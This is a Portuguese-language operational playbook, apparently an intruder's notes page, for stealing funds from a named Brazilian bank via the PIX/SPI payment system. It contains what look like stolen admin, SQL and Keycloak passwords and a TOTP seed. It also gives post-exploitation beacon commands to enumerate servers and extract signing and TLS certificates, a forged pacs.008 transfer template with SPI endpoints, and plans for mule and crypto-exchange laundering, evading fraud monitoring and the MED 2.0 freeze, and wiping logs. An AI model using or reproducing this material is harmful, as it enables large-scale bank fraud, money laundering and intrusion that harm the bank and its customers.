Pular para o conteúdo
Digite para buscar
navegar Enter abrir / buscar Busca local · Pagefind + fuzzy

11 — PLAYBOOK: Operações PIX via SPI

PRÉ-REQUISITOS (do que já temos)

RequisitoStatusDado
Acesso à rede interna192.168.10.0/24 — múltiplas credenciais
Credencial SPB ProduçãoAdministrador / BCO01cla (Dell T130)
Credencial Servidor RTMAdministrador / Bcclassico123456789 (10.225.32.119)
ISPB do banco31597552
Credencial Sinqiauser + pass + TOTP seed
Credencial SQL Serversysbancoclassico / BCO01cla
CERTPIC (mTLS)PRECISA EXTRAIR do SPB Produção
CERTPIA (assinatura)PRECISA EXTRAIR do SPB Produção
Saldo Conta PIPRECISA VERIFICAR — limita valor total

FASE 1: RECONHECIMENTO (antes de qualquer operação)

1.1 — Verificar saldo da Conta PI

O saldo da Conta PI é o limite absoluto. O SPI rejeita com AM04 (Fundos Insuficientes) qualquer pacs.008 que ultrapasse o saldo.

Via SQL Server (mssql BOF):

mssql server02 sysbancoclassico BCO01cla "SELECT TOP 10 * FROM BancoClassicoDB.INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%saldo%' OR TABLE_NAME LIKE '%conta%pi%' OR TABLE_NAME LIKE '%reserva%' OR TABLE_NAME LIKE '%balance%'"

Via painel Sinqia (sqctrl):

lportfwd start 8443 192.168.10.113 443
# Acessar https://127.0.0.1:8443 via SOCKS
# Login Keycloak: jacksonciliano.classico@cloud.local / J@ckson138728nini138728
# TOTP: python3 -c "import pyotp; print(pyotp.TOTP('FFDEILVGILTVWVYPDQZFTUPT5A5WFRN3').now())"

Via SPB-Web (portal do BACEN para participantes): Se houver acesso ao SPB-Web, o saldo aparece direto.

1.2 — Mapear tabelas PIX no SQL

# Tabelas confirmadas
mssql server02 sysbancoclassico BCO01cla "SELECT TABLE_SCHEMA, TABLE_NAME FROM BancoClassicoDB.INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='pix' ORDER BY TABLE_NAME"
# Tabelas de transação (buscar histórico)
mssql server02 sysbancoclassico BCO01cla "SELECT TABLE_NAME FROM BancoClassicoDB.INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%transac%' OR TABLE_NAME LIKE '%pacs%' OR TABLE_NAME LIKE '%liqui%' OR TABLE_NAME LIKE '%ordem%'"
# Volume médio diário (baseline para não gerar alerta)
mssql server02 sysbancoclassico BCO01cla "SELECT CAST(data AS DATE) as dia, COUNT(*) as qtd, SUM(valor) as total FROM pix.t_transacoes WHERE data >= DATEADD(day, -30, GETDATE()) GROUP BY CAST(data AS DATE) ORDER BY dia DESC"

1.3 — Identificar software do Gateway PIX no SPB Produção

# No beacon do SPB Produção (após lateral com Adm/BCO01cla):
# Processos Java (Sinqia é Java)
ps list | findstr java
# Serviços
ps run sc query type=service state=all | findstr /i "pix spb spi sinqia java tomcat"
# Portas em escuta
ps run netstat -ano | findstr LISTENING
# Conexões ativas com RSFN (prova que está rodando)
ps run netstat -ano | findstr ":16422 :17422"
# Diretório de instalação
ps run cmd /c "dir C:\ /b /ad"
ps run cmd /c "dir D:\ /b /ad"
ps run cmd /c "dir 'C:\Program Files\' /b /ad"

1.4 — Localizar os certificados

# Machine certificate store
ps run certutil -store My
# Buscar .pfx .pem .key .jks no disco
ps run cmd /c "dir C:\ D:\ /s /b *.pfx *.p12 *.pem *.key *.jks *.keystore 2>nul"
# Configs que referenciam certificados
ps run cmd /c "findstr /s /i /m certpic C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"
ps run cmd /c "findstr /s /i /m certpia C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"
ps run cmd /c "findstr /s /i /m keystore C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"
ps run cmd /c "findstr /s /i /m \.pfx C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"

FASE 2: GERAÇÃO DO PIX (pacs.008)

Formato EndToEndId (32 chars, obrigatório)

E{ISPB}{yyyyMMddHHmm}{kkkkkkkkkkk}
│ │ │ │
│ │ │ └── 11 chars aleatórios [a-zA-Z0-9]
│ │ └── data UTC (12 chars)
│ └── ISPB emissor: 31597552 (8 chars)
└── Fixo "E"
Exemplo: E315975522026071821300aB3cD4eF5gH

Formato BizMsgIdr (32 chars, obrigatório)

M{ISPB}{20_chars_aleatorios}
│ │ │
│ │ └── 20 chars [a-zA-Z0-9]
│ └── ISPB: 31597552
└── Fixo "M"
Exemplo: M31597552aB1cD2eF3gH4iJ5kL6mN7oP

Estrutura pacs.008 para PIX (template)

<?xml version="1.0" encoding="UTF-8"?>
<Envelope xmlns="urn:iso:std:iso:20022:tech:xsd:envelope">
<AppHdr xmlns="urn:iso:std:iso:20022:tech:xsd:head.001.001.01">
<Fr>
<FIId><FinInstnId><Othr>
<Id>31597552</Id>
</Othr></FinInstnId></FIId>
</Fr>
<To>
<FIId><FinInstnId><Othr>
<Id>{ISPB_BANCO_DESTINO}</Id>
</Othr></FinInstnId></FIId>
</To>
<BizMsgIdr>{M31597552 + 20chars}</BizMsgIdr>
<MsgDefIdr>pacs.008.001.08</MsgDefIdr>
<CreDt>{yyyy-MM-ddTHH:mm:ss.SSSz}</CreDt>
<Sgntr>
<!-- XMLDSig assinada com CERTPIA -->
</Sgntr>
</AppHdr>
<Document xmlns="urn:iso:std:iso:20022:tech:xsd:pacs.008.spi.1.13">
<FIToFICstmrCdtTrf>
<GrpHdr>
<MsgId>{M31597552 + 20chars}</MsgId>
<CreDtTm>{yyyy-MM-ddTHH:mm:ss.SSSz}</CreDtTm>
<NbOfTxs>1</NbOfTxs>
<SttlmInf>
<SttlmMtd>CLRG</SttlmMtd>
</SttlmInf>
</GrpHdr>
<CdtTrfTxInf>
<PmtId>
<EndToEndId>{E31597552 + data + 11chars}</EndToEndId>
</PmtId>
<PmtTpInf>
<SvcLvl><Cd>URGP</Cd></SvcLvl>
<LclInstrm><Prtry>prioridadePagamento=NORM</Prtry></LclInstrm>
</PmtTpInf>
<IntrBkSttlmAmt Ccy="BRL">{VALOR}</IntrBkSttlmAmt>
<ChrgBr>SLEV</ChrgBr>
<Dbtr>
<Nm>{NOME_PAGADOR}</Nm>
<Id><PrvtId><Othr>
<Id>{CPF_CNPJ_PAGADOR}</Id>
<SchmeNm><Prtry>CPF</Prtry></SchmeNm>
</Othr></PrvtId></Id>
</Dbtr>
<DbtrAcct>
<Id><Othr>
<Id>{CONTA_PAGADOR}</Id>
<Tp><Prtry>CACC</Prtry></Tp>
</Othr></Id>
</DbtrAcct>
<DbtrAgt>
<FinInstnId><Othr>
<Id>31597552</Id>
</Othr></FinInstnId>
</DbtrAgt>
<CdtrAgt>
<FinInstnId><Othr>
<Id>{ISPB_BANCO_DESTINO}</Id>
</Othr></FinInstnId>
</CdtrAgt>
<Cdtr>
<Nm>{NOME_RECEBEDOR}</Nm>
<Id><PrvtId><Othr>
<Id>{CPF_CNPJ_RECEBEDOR}</Id>
<SchmeNm><Prtry>CPF</Prtry></SchmeNm>
</Othr></PrvtId></Id>
</Cdtr>
<CdtrAcct>
<Id><Othr>
<Id>{CONTA_RECEBEDOR}</Id>
<Tp><Prtry>CACC</Prtry></Tp>
</Othr></Id>
</CdtrAcct>
<RmtInf>
<Ustrd>{INFO_REMESSA}</Ustrd>
</RmtInf>
</CdtTrfTxInf>
</FIToFICstmrCdtTrf>
</Document>
</Envelope>

Envio ao SPI

POST https://icom.pi.rsfn.net.br:16422/api/v1/in/31597552/msgs
Content-Type: application/xml; charset=utf-8
Host: servico.pi.rsfn.net.br
{XML pacs.008 assinada}
  • 201 Created = mensagem aceita, liquidação em andamento
  • Header PI-ResourceId = protocolo de recebimento

Polling da resposta (pacs.002)

GET https://icom.pi.rsfn.net.br:16422/api/v1/out/31597552/stream/start
Accept: application/xml
  • pacs.002 com status ACSP = Aceito, liquidação confirmada
  • pacs.002 com status RJCT = Rejeitado (ver código de erro)

FASE 3: CONTAS DESTINO

O que precisa

Para receber o PIX, é necessário ter contas destino controladas. Opções:

MétodoDescriçãoRisco
Contas laranjaContas em bancos/fintechs com documentos de terceirosBloqueio cautelar 72h
Contas PJEmpresas de fachada em bancos digitaisMenor bloqueio, limite maior
Exchanges criptoContas PIX em corretoras (Binance, Mercado Bitcoin)Conversão rápida para USDT
Contas pagamentoIPs (Instituições de Pagamento) menoresMenos monitoramento

Dados necessários por conta destino

CampoDescrição
ISPB do banco8 dígitos (ex: Nubank=18236120, PagSeguro=08561701)
AgênciaNúmero da agência
ContaNúmero + dígito
CPF/CNPJTitular da conta
NomeTitular
Chave PIXOpcional (pode usar dados da conta diretamente)

Consultar chave PIX via DICT (antes de enviar)

Com acesso ao DICT do Banco Clássico, pode-se consultar qualquer chave:

GET https://dict.pi.rsfn.net.br/api/v1/participants/31597552/entries/{CHAVE_PIX}

Retorna: ISPB, agência, conta, nome, CPF/CNPJ do titular.


CONTROLES E LIMITES

O que o SPI verifica

ControleDetalheImplicação
Saldo Conta PINão pode ficar negativoLimita valor total de todas as operações
XML SchemaValidação estrutural da pacs.008Mensagem mal formada = rejeição imediata
Assinatura XMLDSigCERTPIA válido e ICP-Brasil SPBSem cert válido = impossível
mTLSCERTPIC válido no canal TLSSem cert = conexão recusada
IP cadastradoIP de origem registrado no SPB-WebEnviar do IP do servidor RTM
Rate limitingToken bucket por ISPB1 token por pacs.008
EndToEndId únicoNão pode repetir nuncaGerar sempre novo

O que o SPI NÃO verifica

O que NÃO verificaImplicação
Se o pagador existe no bancoPode usar dados fictícios no campo Dbtr
Se o pagador tem saldoApenas Conta PI importa
Se a transação foi autorizadaO banco é responsável por isso
Se é fraude ou nãoO banco é responsável por antifraude
Análise comportamentalResponsabilidade do PSP

Resolução 554 (desde 30/03/2026): Saldo mínimo

Se saldo_conta_PI - valor_pacs008 < saldo_minimo_configurado:
→ Conta PI é bloqueada automaticamente
→ Desbloqueio manual via SPB-Web

Mitigação: Verificar se o banco configurou saldo mínimo. Se sim, manter operações abaixo do threshold.

MED 2.0 (desde 02/02/2026): Rastreamento em cadeia

O MED 2.0 agora rastreia o dinheiro por toda a cadeia de transferências, não só a primeira conta. Isso significa:

  1. Se a vítima contestar → DICT propaga para TODOS os bancos na cadeia
  2. Bloqueio cautelar de 72h em cada conta
  3. Devolução obrigatória se houver saldo

Mitigação: Converter para crypto antes de 72h.


OPSEC: ERROS A EVITAR

Erros que causaram queda do Plump Spider (Caso C&M)

ErroO que aconteceuComo evitar
Volume anormalCentenas de transações de madrugadaLimitar volume ao baseline histórico do banco
Valores altosR$18M em uma transaçãoFracionar em valores menores
Horário4h da manhã (fora do padrão)Operar no horário comercial
Mesmas contas destinoMuitas transações para a mesma contaDiversificar destinos
Sem limpar rastrosLogs preservadosLimpar logs do gateway após operação
Insider identificávelFuncionário cooptadoUsar apenas acesso remoto existente

Baseline do Banco Clássico

Do analytics exfiltrado, o banco tem volume PIX relativamente baixo (~R$104M total histórico). Isso significa:

  • Volume diário baixo → qualquer spike é suspeito
  • Transações grandes são normais (é um banco de investimento)
  • Mas transações para PF/contas digitais seriam anômalas

Timing

JanelaRisco
Seg-Sex 9h-17hMenor risco — atividade normal do banco
Seg-Sex 17h-9hMédio — menos staff monitorando, mas fora do padrão
Fim de semanaAlto — fora do padrão total, mas menos staff
FeriadosAlto — mesmos motivos

RESUMO OPERACIONAL

SEQUÊNCIA DE EXECUÇÃO:
1. RECON
├── Lateral → SPB Produção (Adm/BCO01cla)
├── Enumerar processos, certificados, configs
├── Verificar saldo Conta PI
└── Mapear baseline de transações no SQL
2. PREPARAÇÃO
├── Extrair CERTPIC + CERTPIA (ou abusar gateway)
├── Preparar contas destino
├── Gerar EndToEndId e BizMsgIdr únicos
└── Montar pacs.008 com dados corretos
3. EXECUÇÃO
├── Caminho A: injetar via Artemis (192.168.10.113:61616)
├── Caminho B: operar via sqctrl (painel Sinqia)
├── Caminho C: enviar pacs.008 assinada via ICOM (se certs extraídos)
└── Confirmar liquidação via polling pacs.002
4. PÓS-OPERAÇÃO
├── Limpar logs no gateway PIX
├── Limpar histórico de transações (se possível)
├── Verificar que não há pacs.004 (devolução) chegando
└── Converter recebimentos para crypto < 72h (MED 2.0)